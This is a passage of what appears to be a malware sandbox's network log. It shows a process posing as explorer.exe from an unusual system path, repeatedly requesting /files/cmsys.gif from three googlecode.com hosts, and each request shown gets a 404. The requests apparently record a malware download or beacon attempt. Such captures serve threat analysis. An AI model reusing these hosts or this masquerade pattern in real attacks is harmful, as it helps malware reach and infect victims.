Oct 10, 2024 10:13:34.735652924 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	64602	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:35.714224100 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:36.421360016 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:36 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:36.421406984 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	64613	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:37.211473942 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:37.914599895 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:37 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:37.914629936 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	64640	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:41.021172047 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:41.734544992 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:41 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:41.734584093 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	64650	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:42.297811985 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:43.012983084 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:42 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:43.013019085 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	64657	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:43.859839916 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:44.566145897 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:44.566167116 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	64680	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:47.482456923 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:48.199022055 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:48 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:48.199047089 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	64690	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:48.606554031 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:49.334319115 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:49 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:49.334358931 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	64696	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:49.746706009 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
